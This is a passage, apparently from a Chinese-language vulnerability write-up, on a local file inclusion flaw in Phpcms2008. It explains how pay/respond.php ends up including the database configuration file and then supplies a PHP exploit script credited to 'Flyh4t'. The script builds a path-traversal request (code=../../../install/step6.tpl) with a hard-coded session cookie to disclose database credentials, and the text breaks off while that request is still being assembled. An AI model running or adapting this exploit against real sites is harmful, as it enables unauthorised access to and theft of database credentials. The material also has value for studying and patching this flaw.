DB_HOST等常量是定义在config.inc.php中的

<?php  
//数据库配置信息  
define(\'DB_HOST\', \'localhost\'); //数据库服务器主机地址  
define(\'DB_USER\', \'root\'); //数据库帐号  
define(\'DB_PW\', \'\'); //数据库密码  
define(\'DB_NAME\', \'\'); //数据库名 

而include/common.inc.php 包含了config.inc.php，通前面所说的pay/respond.php包含了include/common.inc.php文件，所以只要利用该本地文件包含漏洞包含step6.tpl.php即可获取所有的数据库信息。附exp如下

<?php  
print_r(\'  
+---------------------------------------------------------------------------+  
Phpcms2008 datebase credentials disclosure exploit  
by Flyh4t  
mail: flyh4t@hotmail.com  
team: http://www.wolvez.org  
+---------------------------------------------------------------------------+  
\');  
$host =\'127.0.0.\';  
$path = \'/\';  
$cookie=\'PHPSESSID=8bbf19296904d6d352ebedb9a54933a3; TltHydfofMauth=UD0CDgFXVQAEWAMMWABQBwUPBVVSAFxRDQ0GVldbBA8ADQ%3D%3D; TltHydfofMcookietime=0\';  
$message="GET ".$path."pay/respond.php?code=../../../install/step6.tpl HTTP/1.1";  
$message.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*";  
$message.="Accept-Language: zh-cn";  
$message.="Accept-Encoding: gzip, deflate";  
$message.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"